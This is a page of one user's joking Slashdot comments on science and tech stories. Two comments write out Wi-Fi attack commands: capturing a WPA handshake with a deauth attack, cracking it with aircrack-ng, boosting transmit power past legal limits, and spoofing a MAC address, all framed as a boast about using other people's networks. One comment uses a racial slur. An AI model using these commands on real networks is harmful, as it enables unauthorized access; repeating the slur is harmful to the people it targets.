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  1. Re:Here comes the alchemy on Antihelium Discovered By STAR · · Score: 2

    http://en.wikipedia.org/wiki/Synthesis_of_noble_metals#Gold_synthesis_from_Mercury
    We already have made gold....

    Doesn't that mean we have become GODS? I think it does... lets just agree that it does...

  2. Free Beer!!! on Computer Opens Unmanned Store For Holiday · · Score: 1

    So after the Zombie uprising I won't have to break into places because they now open themselves regardless of if anyone is there to watch over them?

  3. Re:Does it make your voice really low on Antihelium Discovered By STAR · · Score: 1

    No. It wouldn't make it high. It would annihilate (literally) the parts of you that it touches and in the process create enough gamma radiation to kill everything around you. (If memory serves me right.)
    I also doubt, a camera would survive that.

    QUITE YOU! Where doing this for Pseudo-science!

  4. Re:Does it make your voice really low on Antihelium Discovered By STAR · · Score: 1

    when you inhale it?

    No... it would make it high... it's lighter than air.. I won't recommend it though... Wait.. no... I would recommend it.. make sure you film it for us...

  5. Re:No Positrons, No Anti-matter on Antihelium Discovered By STAR · · Score: 1

    Without positrons (anti-electrons) orbiting the nucleus, these are just high energy anti-particles. Technically anti-matter, but not really available for interesting study.

    What would be much more interesting would be molecular anti-hydrogen, complete with positron bonding. Then you could test many properties of anti-matter.

    But cooling and storing is still a major problem. This is an interesting discovery, but we're no closer to really understanding anti-matter because of it (or, for that matter, having warp drive.)

    Whhhaaat? Positron bonding is the easy part.... big hunks of negative particles love positive particles...

  6. Re:Warp core fuel crisis on Antihelium Discovered By STAR · · Score: 1, Troll

    I know I shouldn't laugh...

    Why not, racism is funny... Just because someone makes a nigger joke doesn't make him a white plantation owner with SLAVES... Now if you make a cracker joke that does pretty much make you a black guy that mugs people.

  7. Re:But I want to share on Bizarre Porn Raid Underscores Wi-Fi Privacy Risks · · Score: 1

    "Also WPA and WPA2 take about an hour to crack tops if you use a cloud based solution for most normal people passwords..."

    A cloud-based solution to steal internet access? Seems a bit difficult...

    airodump-ng --showack -h -t wpa -t wpa2 -a -w dump mon0
    aireplay-ng --deauth 1 -a $router -c $client mon0

    WPA handshacking found.

    Tether computer to cell-phone, upload the 4-way handshake, then wait... or

    john --wordlist=./lower.lst --rules --stdout | aircrack-ng -b $router -w - dump-*.cap

    or use the nice rainbow tables you can find all over the place.... whatever floats your boat.

    Of coarse you seem to be missing the point that I have a 1W wireless card connected to a 1 meter dish that can pick up your wireless network from a couple miles away and I use it all day once I have the key.

    What's that 1W is illegal you say???

    lan=wlan4; iw reg set BO; sleep 1; iwconfig $lan rts 256 frag off txpower 1000mW rate 5.5M auto

  8. Re:Better not use WEP either. on Bizarre Porn Raid Underscores Wi-Fi Privacy Risks · · Score: 1

    Of course, if you limit the MAC addresses of computers that your router will offer addresses to, it doesn't REALLY matter what kind of password you put on your network. This is a very simple and secure method, that really requires virtually no extra effort on your part (assuming you're moderately tech savvy).

    You're an idiot... as soon as you connect airodump-ng will show me your mac address then I can boot your ass off and run this....

    ifconfig wlan0 down;
    ifconfig wlan0 hw ether 00:00:00:00:00:00;
    ifconfig wlan0 up;

    Then I post to 4chan and then you get shot by the police for being a sick fuck...

  9. Re:Hi, I'm Chris Hansen from Dateline NBC on Bizarre Porn Raid Underscores Wi-Fi Privacy Risks · · Score: 1

    What happens if the person that shows up turns out to be a year or two younger than they were pretending? Does the cop have a seat?

    No... haven't you been paying attention? The kid still goes to jail for being a predobear...

  10. Re:This is a cautionary tale... on Bizarre Porn Raid Underscores Wi-Fi Privacy Risks · · Score: 1

    ... but it's the police who need to learn.

    Maybe we don't need to send SWAT teams in to arrest people unless there is specific evidence that the person being arrested is armed and violent?

    Maybe what passes for "probable cause" is a joke these days?

    But but he had an IP ADDRESS!!! that means he must be smarter than the cops and maybe was the batman.

  11. Re:But I want to share on Bizarre Porn Raid Underscores Wi-Fi Privacy Risks · · Score: 1

    Then let them knock on your door and ask you for the WEP key to your guest AP. Log who asked and on what day.

    You know it takes about 60 seconds to crack a WEP key now right? Also WPA and WPA2 take about an hour to crack tops if you use a cloud based solution for most normal people passwords....

  12. Re:Old Sayings on Japanese Government Will Censor Fukushima "Illegal Information" · · Score: 1

    When marriage is illegal, only outlaws will have inlaws.

    When inlaws are made illegal, there will be cake...

  13. Re:Old Sayings on Japanese Government Will Censor Fukushima "Illegal Information" · · Score: 1

    Makes it easy to spot the outlaws.
    Unless of course, in this case, you don't know that it's illegal to have information... but then... ...oh darn

    Yes... it is indeed, a TRAP!

  14. Old Sayings on Japanese Government Will Censor Fukushima "Illegal Information" · · Score: 4, Interesting

    When information is made illegal only outlaws will have information.

  15. WAR WAS BEGINING... on Pirate Party of Canada Promises VPN For Freedom · · Score: 1

    FOR GREAT JUSTICE!

  16. Re:These scientists.... on CERN, LHC Sets New Luminosity World Record · · Score: 1

    I'll bet these scientists wear sunglasses at night.

    Interesting enough the lead scientist was wearing a monitoring device over his left eye. When the power level was surpassed he announced the achievement to the entire world. Video here...

  17. Re:HU? on Instant Quantum Communication Is Near · · Score: 1

    Yeah fox news is coming in from the future. Problem is that it is the future of a completely different universe.

    So all of the stories are fact checked AND fair and balanced?

  18. Re:HU? on Instant Quantum Communication Is Near · · Score: 1

    Does alien porn really turn you on?

    Yes almost as much as Furry Hentai Porn....I also love Big Black COCK...

  19. Re:fix on Instant Quantum Communication Is Near · · Score: 1

    3 kittens were harmed in making this post?

    3 of Schroedinger's kittens died, 3 lived. Who knew his cat was pregnant? Or was it?

    (No peeking)

    I knew but I didn't show anyone...

  20. 2101 on Why Does the US Cling To Imperial Measurements? · · Score: 1

    WAR WAS BEGINNING

  21. Re:fix on Instant Quantum Communication Is Near · · Score: 2

    I wasn't posting from a quantum computer until you looked at this.

    That's why I invested in a box of kittens. You feed them into the Quantum computer to avoid problems like that.

  22. Re:HU? on Instant Quantum Communication Is Near · · Score: 1

    Sorry, you have reached your Quantum limit here at Comcast, you are now at 56kbps speeds.

    That's ok... I'll use my Quantum tunnel to the other universe.

  23. Re:HU? on Instant Quantum Communication Is Near · · Score: 2

    What about porn? Can we use this to transmit porn at lighting fast speeds over an extended period of time and for massive profit?

  24. Re:Ah, so this is the dupe on Instant Quantum Communication Is Near · · Score: 2, Funny

    The original article will post six hours from now... but what is 'now'?

    Colonel Sandurz: Try here. Stop.
    Dark Helmet: What the hell am I looking at? When does this happen in the movie?
    Colonel Sandurz: Now. You're looking at now, sir. Everything that happens now, is happening now.
    Dark Helmet: What happened to then?
    Colonel Sandurz: We passed then.
    Dark Helmet: When?
    Colonel Sandurz: Just now. We're at now now.
    Dark Helmet: Go back to then.
    Colonel Sandurz: When?
    Dark Helmet: Now.
    Colonel Sandurz: Now?
    Dark Helmet: Now.
    Colonel Sandurz: I can't.
    Dark Helmet: Why?
    Colonel Sandurz: We missed it.
    Dark Helmet: When?
    Colonel Sandurz: Just now.
    Dark Helmet: When will then be now?
    Colonel Sandurz: Soon.
    Dark Helmet: How soon?

  25. Re:fix on Instant Quantum Communication Is Near · · Score: 5, Funny

    Sorry I'm posting from a quantum computer... And also not posting....